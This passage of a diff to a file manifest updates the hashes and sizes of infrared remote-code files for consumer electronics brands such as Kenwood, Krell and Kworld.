+F:657f7b7b78dedb2a31e1c5ef4b4c8eed:2926:infrared/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir D:infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081 -F:a7d1fa4235ec70980b7298990190863a:1098:infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir +F:b104c11ccfd7614e95b17cfb46ef7b8b:1030:infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir D:infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher D:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher D:infrared/_CSV-IRDB_/KEY DIGITAL/Switcher D:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher -F:b8500ad8d304644e8f75aeb12a49316d:2534:infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir -F:f82474c698d55a29e02fde47106930ab:9695:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir -F:5adea7cb05764b788a48f34dce6f2b04:2874:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir -F:09b2f03a1575964643b90231e6edea26:131:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir -F:42141ce8c5a905a800afd1cca1afa81b:831:infrared/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir -F:90f748ee8d28a6c639d0dded28f5347f:391:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir -F:5adea7cb05764b788a48f34dce6f2b04:2874:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir -F:09b2f03a1575964643b90231e6edea26:131:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir +F:b49c50bd3d23c0591d13c306dcabab9f:2364:infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir +F:cdcb8696822b02c425644abc0279b07c:9057:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir +F:d274170b00e27cc66fbc3ff78f3722b2:2686:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir +F:4dda40d17a629f99b51cdd7ff8392493:123:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir +F:0737cddf549bd7c6350f3c2d3b67f7f0:775:infrared/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir +F:48292ee5276b4176e9ae113ed70556d5:365:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir +F:d274170b00e27cc66fbc3ff78f3722b2:2686:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir +F:4dda40d17a629f99b51cdd7ff8392493:123:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir D:infrared/_CSV-IRDB_/Kaleidescape/DVD Player D:infrared/_CSV-IRDB_/Kaleidescape/Distributed -F:f5bfd966b9666d2799a7c595c42f3b04:7176:infrared/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir -F:2e03c4ffde283bee3d64670815b7f131:5962:infrared/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir +F:d0d2a76a31009f34a123e65ac27387d1:6742:infrared/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir +F:cf7bc12590a582b56d2ca58f76f5af49:5588:infrared/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir D:infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO D:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO D:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO -F:cba8702b7ba6db77c22e075e2c611e0d:3632:infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir -F:c37924ca2a64cb4e973e6f1d2092ac9e:2877:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir -F:951d0b7efdeb780986fd132b8988cd31:3347:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir +F:a5dd8d18558e8f8ba0118dc30f6366a6:3402:infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir +F:e69c36f4bdc9406fc06b2e03ad1f53a8:2695:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir +F:84ace4ee9bef6e9585dbc725591385fd:3135:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir D:infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver D:infrared/_CSV-IRDB_/Kathrein/Satellite D:infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400 -F:fd93bd80c63e1abba3748bf0ba870e49:6970:infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir -F:abee499a16e3d78b31e43f65594a5f7c:2450:infrared/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir -F:683c4a83e7aa73ee0f80abc14bc89634:3373:infrared/_CSV-IRDB_/Kathrein/Satellite/34,144.ir -F:70ecaff979cc620ba48a0f4a77984728:2447:infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir +F:7099ea9464e82321f0031b44f33b3cb7:6524:infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir +F:81f76734f3d4d049150d79286484aa8a:2292:infrared/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir +F:7283cbfb849e38a06e2a33c7b759d28d:3155:infrared/_CSV-IRDB_/Kathrein/Satellite/34,144.ir +F:0909a47abccd076baf46b62eaf26fd0b:2289:infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir D:infrared/_CSV-IRDB_/Kensington/MP3 Player D:infrared/_CSV-IRDB_/Kensington/iPod Dock -F:09a12aca25229ae6dd40c1c132e64940:514:infrared/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir -F:fdc1ba4849128c859813ca0cb54ccf15:999:infrared/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir +F:b677f15413d671d29a379aabbd38152a:482:infrared/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir +F:8a63d83a386d625308093599c946851b:937:infrared/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir D:infrared/_CSV-IRDB_/Kenwood/Amplifier D:infrared/_CSV-IRDB_/Kenwood/CD Changer D:infrared/_CSV-IRDB_/Kenwood/CD Player @@ -3412,121 +3412,121 @@ D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503 D:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800 D:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87 D:infrared/_CSV-IRDB_/Kenwood/VCR -F:6bd06cf524583453e7d4bf79cb93f1c6:1857:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir -F:f06385892bc27d829e0bbf6343c3aedd:721:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir -F:ac8f4b55340d6ccbbc454de63cf58083:1037:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir -F:d0bf87aae39d628a3f792905920a7d69:130:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir -F:e2ca8ecf0cab3454d0e23272fa645de5:848:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir -F:d70298372587bc6cece9973938bc2867:2071:infrared/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir -F:622b5370526d2d64f3110b7cd15ad86f:130:infrared/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir -F:c0ca2571efe258e82d7e680f4535c3bc:778:infrared/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir -F:2ad1a98b311fa32b7c41c03466b95022:9837:infrared/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir -F:ec2c49e1ba28d5db606a47b3ea1c8db8:6295:infrared/_CSV-IRDB_/Kenwood/CD Player/182,0.ir -F:0c45af450ae5a6d1f2275ce466b424c2:501:infrared/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir -F:54a8ad8cc130967a345ef01af6ec8976:2273:infrared/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir -F:35af623ed189d429b7d2cb2d5b690262:3387:infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir -F:d8c55598d6925f57cae7627046f8f243:15278:infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir -F:35af623ed189d429b7d2cb2d5b690262:3387:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir -F:f5041bdaaeefb6369363bac51499494e:15648:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir -F:566922e49a55e728d665b8df118464a0:3670:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir -F:e32202dac9da6cc07be52dce76e42109:130:infrared/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir -F:73822518e461ec11d24e1d56d40c7330:4709:infrared/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir -F:c7ffbc1c53051b562a7d3bf9822fc853:519:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir -F:8c51702213a701947de6a0bc090b5a13:8486:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir -F:baaf0248bdb600336d687510c4ff7401:1650:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir -F:216ac578b89776e1c9e9033d2cebc910:3763:infrared/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir -F:1d3c2973be4240ed040cc7db288e6f09:1973:infrared/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir -F:7b376513a0e9ca33c95b6464dd5285f3:1997:infrared/_CSV-IRDB_/Kenwood/Receiver/182,75.ir -F:0cb05a2c83f8f9809b5ee91c71c90f69:29014:infrared/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir -F:24bda57192ee2201d86e08ddf785416e:8942:infrared/_CSV-IRDB_/Kenwood/Receiver/184,0.ir -F:6be26614190e4e2752e87b83ab27ffdb:5820:infrared/_CSV-IRDB_/Kenwood/Receiver/184,1.ir -F:9edc8c89df2288b0a1b1517f0d657353:2779:infrared/_CSV-IRDB_/Kenwood/Receiver/184,2.ir -F:f94576738b7cd49c274a51283dbd3dfc:3643:infrared/_CSV-IRDB_/Kenwood/Receiver/184,3.ir -F:59427eda36bdc81b758d2a53a0659ae9:1784:infrared/_CSV-IRDB_/Kenwood/Receiver/184,4.ir -F:ae6808d64117c6568f72af0cfe768726:403:infrared/_CSV-IRDB_/Kenwood/Receiver/184,5.ir -F:6ad9d706003fb65bc4d499626cc5ceb4:1676:infrared/_CSV-IRDB_/Kenwood/Receiver/184,6.ir -F:6ed4c1a56e732e07a394170875dcf6fb:1331:infrared/_CSV-IRDB_/Kenwood/Receiver/184,7.ir -F:40cf0a51c83da79ef52b35f42fa9f82d:2130:infrared/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir -F:edbc9074edcefb028ec3c4319811de21:2110:infrared/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir -F:6ee5e8f3f1bec9d57e382aa8fe0e8604:3938:infrared/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir -F:28d0651c0f015b1febbabb39fea33860:4369:infrared/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir -F:9fa1ffe88b795d6b75fdd19a65171f9e:2699:infrared/_CSV-IRDB_/Kenwood/Sirius/2,255.ir -F:c7ffbc1c53051b562a7d3bf9822fc853:519:infrared/_CSV-IRDB_/Kenwood/Tuner/182,75.ir -F:45f334f081d45e2da7919595a5c9364f:7438:infrared/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir -F:3508ded5b755b9f666e53e8eddaf0848:1033:infrared/_CSV-IRDB_/Kenwood/Tuner/184,1.ir -F:8c5d5bca8348b7b130f0f6fcb8daeb0e:4955:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir -F:998a2a903eebd8bd62eeb5067187bc7d:3086:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir -F:7204655feeef615c31cc0b070387ed18:3640:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir -F:8eed3af8cd1766cf19913d07f8ee8d85:2987:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir -F:006a2859b5a0d60544e15a0a24676856:3488:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir -F:3dfad98d2f0cacc19481bc482b8f4b4a:2678:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir -F:61cbfa4216dfbc7b8bb7be7244e67ffd:2302:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir -F:8a875452fa069c4d98f8eda010bd1e3c:4572:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir -F:515514d613877b3fb1e66758898477b5:2997:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir -F:e97ab9fe07ed1d727c68c5a6b51b6860:2493:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir -F:90b5c51c2a9048579f13ece231f0bccc:2306:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir -F:3ce99c776c5d20558abaed34ff44eff3:1910:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir -F:ad03b7e82f5f622c4551e6df142e7372:4482:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir -F:a58ae981b96f6a499063c627961f8795:2734:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir -F:b7a114a728c277c078306e2cb155b641:903:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir -F:2dac9585e1784a7ce8777fa11804d851:1534:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir -F:48cfa9f28aab4a40d0c38ebb849e8102:3702:infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir -F:a9690d82db7fe19c0a3564bb60549cbc:525:infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir +F:25deb4fa0e8952fc983cfeb2cafa4fee:1735:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir +F:86a521c6d7cfe938b5c64d4a083817ac:677:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir +F:dd25b127269e51be47e3505eac00f106:975:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir +F:6c4601a79237bfe4dfbb45af101ed40d:122:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir +F:a17862c7b9f920b122f2b78634db5bfa:798:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir +F:b269625e29e2b31e0f683b3c679833f2:1937:infrared/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir +F:3ca1ea2588f0a6ede7e750abed644aca:122:infrared/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir +F:ea35044f955dbb7b1ef3decbd087c90f:728:infrared/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir +F:77ddde8649399f08e7417936600e5729:9217:infrared/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir +F:47d6c9dc1ff8b632019e63a0bb1b2a4a:5885:infrared/_CSV-IRDB_/Kenwood/CD Player/182,0.ir +F:e59e5753fc33ff730c1a7a57dd8e173b:469:infrared/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir +F:7786cab371f572452ff1349808c388e0:2133:infrared/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir +F:220cd224f48379a0c99f459aa5b8d31e:3157:infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir +F:b4cf9db5e2afeb0ca3568485d9eed0a1:14304:infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir +F:220cd224f48379a0c99f459aa5b8d31e:3157:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir +F:018f53427b9a0abcd53264cf11a1dc98:14650:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir +F:89ea26d53217997f8099a811573a1a60:3434:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir +F:ba7b3cc81e60fa46b9aaaa433bddb674:122:infrared/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir +F:34f908187b2329d015da44b12c2226ce:4407:infrared/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir +F:418f204da108ddca27359391bf2a40b8:487:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir +F:59949073ae5c059947c1af9f6d75ee17:7956:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir +F:8118bb8ef0cfee3fd9cb124c85c4c36e:1552:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir +F:32bc6424fdf54e4a4b7cf0df05284651:3527:infrared/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir +F:44cf1fdacc3988df1f5b6858c3e194fb:1851:infrared/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir +F:d2809d9fa886aadd63844379e10bdde8:1869:infrared/_CSV-IRDB_/Kenwood/Receiver/182,75.ir +F:abcc89ea4be54a53792ea997dec2e86f:27224:infrared/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir +F:e1311da30613e8ebc63c11ddbd2e3798:8364:infrared/_CSV-IRDB_/Kenwood/Receiver/184,0.ir +F:83802e9d144e1070ec81b2324db56335:5458:infrared/_CSV-IRDB_/Kenwood/Receiver/184,1.ir +F:f503fc0f504091646bed216845c68a12:2603:infrared/_CSV-IRDB_/Kenwood/Receiver/184,2.ir +F:ffd8546315b93d3eb44c7129b6680d6c:3413:infrared/_CSV-IRDB_/Kenwood/Receiver/184,3.ir +F:76ee3264b93411d280aa692955bcd9b0:1668:infrared/_CSV-IRDB_/Kenwood/Receiver/184,4.ir +F:56e65e5878dde17dd23b7c97c53818e9:377:infrared/_CSV-IRDB_/Kenwood/Receiver/184,5.ir +F:b2435ea199676f6ef24c979cea0ac1c8:1572:infrared/_CSV-IRDB_/Kenwood/Receiver/184,6.ir +F:c3310e61a5d3c36d68f778416b39be63:1251:infrared/_CSV-IRDB_/Kenwood/Receiver/184,7.ir +F:46384241af67a77dd298332f037c61b8:2002:infrared/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir +F:891e25ac6f858f1d3cbf7ddb4d7dfc47:1976:infrared/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir +F:657efe79e08f52cd7d04369658e273d6:3696:infrared/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir +F:df2ae7cc8a56c8084422743444ed9267:4085:infrared/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir +F:080203a8b1a80e18e6647b9bc12dd56c:2523:infrared/_CSV-IRDB_/Kenwood/Sirius/2,255.ir +F:418f204da108ddca27359391bf2a40b8:487:infrared/_CSV-IRDB_/Kenwood/Tuner/182,75.ir +F:9ff0b791c2d1528b0dd269dee71496a5:6974:infrared/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir +F:2f10b6ed5075841214ef569dd5e6a9e6:971:infrared/_CSV-IRDB_/Kenwood/Tuner/184,1.ir +F:f1c0af300164a6336fd1d63f4d7b5c4b:4653:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir +F:22f82b0f57718ddb083e4f0cd28acb35:2892:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir +F:21fb9e7fea2de564d0ca86d4f51c2784:3410:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir +F:607058f0ba5a1d329fc89482b8c6af96:2799:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir +F:2f0be00e77b0fed55117dd8fba5c534d:3270:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir +F:6b66fbd47f59ddd6b2686649cc2b6c21:2508:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir +F:c9189501a09596c2c1a2c304ee61fad9:2156:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir +F:b4ce82863da4f4db06e60740bd271805:4282:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir +F:babf6f6700b153795682f57c3fdaaa47:2809:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir +F:72f1a85d3b87de359246acf66c7a5c31:2335:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir +F:11af3ccf6d66578dc5212e4b3b69d3a2:2160:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir +F:52752bbffc7fd39b1570b44bbd359a3a:1788:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir +F:b80d618279bf06c7bf5d6552084a846b:4198:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir +F:4c4233f205c16292d002d2e18940399c:2564:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir +F:17bc292f61cc05133095a64eb72e5a13:847:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir +F:406dc352744dcfe34b0130eeb2a385f1:1436:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir +F:99e875ccaaaad983acad9591986d21b4:3466:infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir +F:dfc95bf6450c352bccb2b85436fd4c2e:493:infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir D:infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000 -F:f3d29ac31160c40e2ffa498266eab274:2375:infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir +F:8bf6ce5713d1c5b20a04630e18651d7e:2223:infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir D:infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier D:infrared/_CSV-IRDB_/Kinergetics Research/Receiver D:infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor -F:f9d9e67e8fdbaf139dee384cc845089a:3057:infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir -F:67806661a983947eb3221599f7d232ce:2533:infrared/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir -F:7f502874434a19d946398f2f54af4e28:1133:infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir +F:6c6bed8bd9472bc648bacf53d7596084:2857:infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir +F:b708e8288d53c91918c0cf2bf9242377:2375:infrared/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir +F:cdaa12b2aa46d2345cf582a63b8469c8:1059:infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir D:infrared/_CSV-IRDB_/Kingbox/h265 -F:dd2ed522d48de993b7c0b2d8fe62f5a5:3558:infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir +F:fdecc63831c77b26c59311ee1c0963e0:3322:infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir D:infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s -F:e2ae5c6fbf446407fa2156d6e4008e21:3634:infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir +F:f5164ac8c59b0eed1ae4b5b1c008d091:3404:infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir D:infrared/_CSV-IRDB_/Klipsch/Subwoofer -F:e29afaea6208d92252f62499b95d65ef:1975:infrared/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir +F:196e9148e71d0734a25b47a95f1be2d9:1853:infrared/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir D:infrared/_CSV-IRDB_/Knoll/Video Projector -F:cfb04d905267aa0fefdc5f24649c110d:1935:infrared/_CSV-IRDB_/Knoll/Video Projector/24,233.ir +F:f38342c4bd6d52e2216a25e942ecaf02:1813:infrared/_CSV-IRDB_/Knoll/Video Projector/24,233.ir D:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199 D:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A -F:c8381fe07ab6eb245838bc7035c1fe83:2303:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir -F:1c472dfedc1a8d33b6f3696df46e3b6d:2397:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir +F:2670274733595b965705af54fa44dbb9:2157:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir +F:2f5868d5ff2ac9e89999ede1560d2280:2245:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir D:infrared/_CSV-IRDB_/Krell/CD Player D:infrared/_CSV-IRDB_/Krell/DVD Player D:infrared/_CSV-IRDB_/Krell/Pre-Amplifier D:infrared/_CSV-IRDB_/Krell/Receiver D:infrared/_CSV-IRDB_/Krell/Surround Processor -F:21a2ec5f3bc6ad95f3467a7ff1c426a5:651:infrared/_CSV-IRDB_/Krell/CD Player/16,-1.ir -F:3508885e1ba74cb72b71266a4fbfef1f:127:infrared/_CSV-IRDB_/Krell/CD Player/20,-1.ir -F:aec597fe8706f7c283f66333ec295deb:7610:infrared/_CSV-IRDB_/Krell/DVD Player/27,-1.ir -F:dd6d03d59e5e468583c13d9e1ffc22d1:1858:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir -F:e4badcff361e4090ab353270e0b540cf:2254:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir -F:d7029579750655d9d54901b8771cac90:1611:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir -F:19469055d0c1fd69e063c6d0be90bb9b:129:infrared/_CSV-IRDB_/Krell/Receiver/28,-1.ir -F:cab320ff43d3ebcb449b493486053ce0:138:infrared/_CSV-IRDB_/Krell/Receiver/31,-1.ir -F:ae86b539556f60e0cfdf33716aa2d364:317:infrared/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir -F:0276e8b852111a39e1de160239eca327:1487:infrared/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir -F:28dbca865c17c2c76af716e9cf2b76d7:3433:infrared/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir -F:cab320ff43d3ebcb449b493486053ce0:138:infrared/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir +F:76e733e84b2fd4222f5ef64d3cc2ab25:613:infrared/_CSV-IRDB_/Krell/CD Player/16,-1.ir +F:e9f137c8c6b8161913bc318d07b92155:119:infrared/_CSV-IRDB_/Krell/CD Player/20,-1.ir +F:3c00297c8ea045d02aa3dbc94f0431fe:7104:infrared/_CSV-IRDB_/Krell/DVD Player/27,-1.ir +F:71047c6aa4126b1aabaf26b3e1f349b6:1742:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir +F:05a31862d9ef06dac35820fed94f03da:2102:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir +F:06ccaa26402ded904285a0c9c958aa86:1507:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir +F:89d277bb9d204d8e69d02127d5b3ba49:121:infrared/_CSV-IRDB_/Krell/Receiver/28,-1.ir +F:e488f337195775b88bafa6c3947c6e33:130:infrared/_CSV-IRDB_/Krell/Receiver/31,-1.ir +F:149651835723229c0bbde37c91616eb2:297:infrared/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir +F:2291242e872ce12800775b26ecb93cb9:1389:infrared/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir +F:5ac5011b560606c3f219b88a2298bdf9:3209:infrared/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir +F:e488f337195775b88bafa6c3947c6e33:130:infrared/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir D:infrared/_CSV-IRDB_/Kworld/Unknown_ATSC D:infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T D:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220 D:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310 D:infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV -F:b5a89ce81094aee0e2ef40becf53faa8:4311:infrared/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir -F:61543ebb70669c7c1879cf03e4aaf6e4:6779:infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir -F:5fe818cf71863e8d5076020a1806254d:3916:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir -F:5fe818cf71863e8d5076020a1806254d:3916:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir -F:b82cb926ff813d7729ffd420167ba312:4212:infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir +F:77cea1262ca550dc1f3a83451e2e6341:4039:infrared/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir +F:1818ea932849efbed6c6494621ab3a58:6351:infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir +F:afb23fdd1d6ab6e2681a2d2296f012e7:3668:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir +F:afb23fdd1d6ab6e2681a2d2296f012e7:3668:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir +F:c2c5c0048cac24a3e98b79adec1e7cf4:3946:infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir D:infrared/_CSV-IRDB_/Kyocera/CD Player 